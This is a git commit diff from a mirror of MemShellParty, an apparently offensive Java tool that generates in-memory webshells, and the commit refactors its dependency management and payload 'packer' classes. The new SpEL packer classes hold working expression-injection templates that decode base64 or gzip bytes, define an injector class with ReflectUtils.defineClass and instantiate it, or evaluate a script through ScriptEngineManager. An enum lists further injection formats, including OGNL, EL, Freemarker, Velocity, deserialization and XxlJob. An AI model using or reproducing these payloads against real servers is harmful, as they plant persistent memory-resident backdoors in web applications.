mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
refactor: use platform to manage dependency
1. rename Packer.INSTANCE 2. gradle platform is a good thing (resolved #31)
This commit is contained in:
+20
-20
@@ -43,29 +43,29 @@ dependencies {
|
||||
implementation project(":deserialize")
|
||||
implementation project(":memshell")
|
||||
implementation project(":memshell-java8")
|
||||
implementation 'net.bytebuddy:byte-buddy:1.+'
|
||||
implementation 'javax.servlet:javax.servlet-api:3.0.1'
|
||||
implementation 'javax.websocket:javax.websocket-api:1.1'
|
||||
implementation 'org.java-websocket:Java-WebSocket:1.5.7'
|
||||
implementation 'jakarta.servlet:jakarta.servlet-api:6.0.0'
|
||||
implementation 'xalan:xalan:2.7.0'
|
||||
implementation 'org.apache.bcel:bcel:5.2'
|
||||
implementation 'net.bytebuddy:byte-buddy'
|
||||
|
||||
implementation 'commons-io:commons-io:2.+'
|
||||
implementation 'org.apache.commons:commons-lang3:3.+'
|
||||
implementation 'commons-codec:commons-codec:1.+'
|
||||
implementation 'javax.servlet:javax.servlet-api'
|
||||
implementation 'javax.websocket:javax.websocket-api'
|
||||
implementation 'jakarta.servlet:jakarta.servlet-api'
|
||||
|
||||
implementation 'com.squareup.okhttp3:okhttp:4.+'
|
||||
implementation 'ch.qos.logback:logback-classic:1.+'
|
||||
implementation 'com.alibaba.fastjson2:fastjson2:2.0.53'
|
||||
implementation 'xalan:xalan'
|
||||
implementation 'org.apache.bcel:bcel'
|
||||
|
||||
implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
|
||||
implementation 'org.springframework:spring-web:4.3.30.RELEASE'
|
||||
implementation 'org.springframework:spring-webflux:5.3.24'
|
||||
implementation 'io.netty:netty-all:4.1.116.Final'
|
||||
implementation 'io.projectreactor.netty:reactor-netty-core:1.1.25'
|
||||
testImplementation platform('org.junit:junit-bom:5.+')
|
||||
implementation 'commons-io:commons-io'
|
||||
implementation 'org.apache.commons:commons-lang3'
|
||||
implementation 'commons-codec:commons-codec'
|
||||
implementation 'com.squareup.okhttp3:okhttp'
|
||||
implementation 'ch.qos.logback:logback-classic'
|
||||
implementation 'com.alibaba.fastjson2:fastjson2'
|
||||
implementation 'org.java-websocket:Java-WebSocket'
|
||||
|
||||
implementation 'org.springframework:spring-webmvc'
|
||||
implementation 'org.springframework:spring-webflux'
|
||||
implementation 'io.projectreactor.netty:reactor-netty-core'
|
||||
|
||||
testImplementation platform('org.junit:junit-bom')
|
||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
||||
testImplementation "org.mockito:mockito-core:5.+"
|
||||
testImplementation "org.mockito:mockito-core"
|
||||
}
|
||||
@@ -3,7 +3,7 @@ package com.reajason.javaweb;
|
||||
import com.reajason.javaweb.memshell.AbstractShell;
|
||||
import com.reajason.javaweb.memshell.SpringWebFluxShell;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
@@ -67,10 +67,10 @@ public class GeneratorMain {
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
|
||||
public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packers packerInstance) {
|
||||
GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
if (generateResult != null) {
|
||||
return packerInstance.getPacker().pack(generateResult);
|
||||
return packerInstance.getInstance().pack(generateResult);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@@ -15,83 +15,18 @@ public interface Packer {
|
||||
* 将生成的内存马打包成指定格式
|
||||
*
|
||||
* @param generateResult 生成的内存马信息
|
||||
* @return 指定格式字节数组
|
||||
* @return 字符串 payload
|
||||
*/
|
||||
default String pack(GenerateResult generateResult) {
|
||||
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成");
|
||||
}
|
||||
|
||||
/**
|
||||
* 将生成的内存马打包成 bytes
|
||||
* @param generateResult 生成的内存马信息
|
||||
* @return 字节数组
|
||||
*/
|
||||
default byte[] packBytes(GenerateResult generateResult) {
|
||||
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 bytes 生成");
|
||||
}
|
||||
|
||||
/**
|
||||
* 部分打包器可能需要配置来进行额外的配置项
|
||||
*
|
||||
* @param generateResult 生成的内存马信息
|
||||
* @param config 配置
|
||||
* @return 字节数组
|
||||
*/
|
||||
default byte[] pack(GenerateResult generateResult, Map<String, ?> config) {
|
||||
throw new UnsupportedOperationException();
|
||||
}
|
||||
|
||||
|
||||
@Getter
|
||||
static enum INSTANCE {
|
||||
/**
|
||||
* Base64
|
||||
*/
|
||||
Base64(new Base64Packer()),
|
||||
|
||||
/**
|
||||
* GzipBase64
|
||||
*/
|
||||
GzipBase64(new GzipBase64()),
|
||||
|
||||
Jar(new SimpleJarPacker()),
|
||||
|
||||
/**
|
||||
* BCEL
|
||||
*/
|
||||
BCEL(new BCELPacker()),
|
||||
|
||||
/**
|
||||
* JSP 打包器
|
||||
*/
|
||||
JSP(new JspPacker()),
|
||||
|
||||
/**
|
||||
* 脚本引擎打包器
|
||||
*/
|
||||
ScriptEngine(new ScriptEnginePacker()),
|
||||
|
||||
/**
|
||||
* 反序列化打包器
|
||||
*/
|
||||
Deserialize(new DeserializePacker()),
|
||||
|
||||
/**
|
||||
* EL
|
||||
*/
|
||||
EL(new ELPacker()),
|
||||
|
||||
OGNL(new OGNLPacker()),
|
||||
|
||||
SpEL(new SpELPacker()),
|
||||
|
||||
Freemarker(new FreemarkerPacker()),
|
||||
|
||||
Velocity(new VelocityPacker()),
|
||||
|
||||
AgentJar(new AgentJarPacker()),
|
||||
|
||||
XxlJob(new XxlJobPacker()),
|
||||
;
|
||||
private final Packer packer;
|
||||
|
||||
INSTANCE(Packer packer) {
|
||||
this.packer = packer;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,69 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import lombok.Getter;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/23
|
||||
*/
|
||||
@Getter
|
||||
public enum Packers {
|
||||
/**
|
||||
* Base64
|
||||
*/
|
||||
Base64(new Base64Packer()),
|
||||
|
||||
/**
|
||||
* GzipBase64
|
||||
*/
|
||||
GzipBase64(new GzipBase64()),
|
||||
|
||||
Jar(new SimpleJarPacker()),
|
||||
|
||||
/**
|
||||
* BCEL
|
||||
*/
|
||||
BCEL(new BCELPacker()),
|
||||
|
||||
/**
|
||||
* JSP 打包器
|
||||
*/
|
||||
JSP(new JspPacker()),
|
||||
|
||||
/**
|
||||
* 脚本引擎打包器
|
||||
*/
|
||||
ScriptEngine(new ScriptEnginePacker()),
|
||||
|
||||
/**
|
||||
* 反序列化打包器
|
||||
*/
|
||||
Deserialize(new DeserializePacker()),
|
||||
|
||||
/**
|
||||
* EL
|
||||
*/
|
||||
EL(new ELPacker()),
|
||||
|
||||
OGNL(new OGNLPacker()),
|
||||
|
||||
SpEL(new SpELSpringIOUtilsGzipPacker()),
|
||||
|
||||
Freemarker(new FreemarkerPacker()),
|
||||
|
||||
Velocity(new VelocityPacker()),
|
||||
|
||||
AgentJar(new AgentJarPacker()),
|
||||
|
||||
XxlJob(new XxlJobPacker()),
|
||||
;
|
||||
private final Packer instance;
|
||||
|
||||
Packers(Packer instance) {
|
||||
this.instance = instance;
|
||||
}
|
||||
|
||||
Packer getPacker(Packers packerType) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -1,31 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class SpELPacker implements Packer {
|
||||
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
|
||||
String template = "";
|
||||
|
||||
public SpELPacker() {
|
||||
try {
|
||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/SpELScriptEngine.txt")), Charset.defaultCharset());
|
||||
} catch (IOException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = scriptEnginePacker.pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class SpELScriptEnginePacker implements Packer {
|
||||
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
|
||||
String template = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval('{{script}}')";
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = scriptEnginePacker.pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class SpELSpringIOUtilsGzipPacker implements Packer {
|
||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
return template.replace("{{className}}", generateResult.getInjectorClassName())
|
||||
.replace("{{base64Str}}", Base64.encodeBase64String(CommonUtil.gzipCompress(generateResult.getInjectorBytes())));
|
||||
}
|
||||
}
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class SpELSpringUtilPacker implements Packer {
|
||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
return template.replace("{{className}}", generateResult.getInjectorClassName())
|
||||
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str());
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user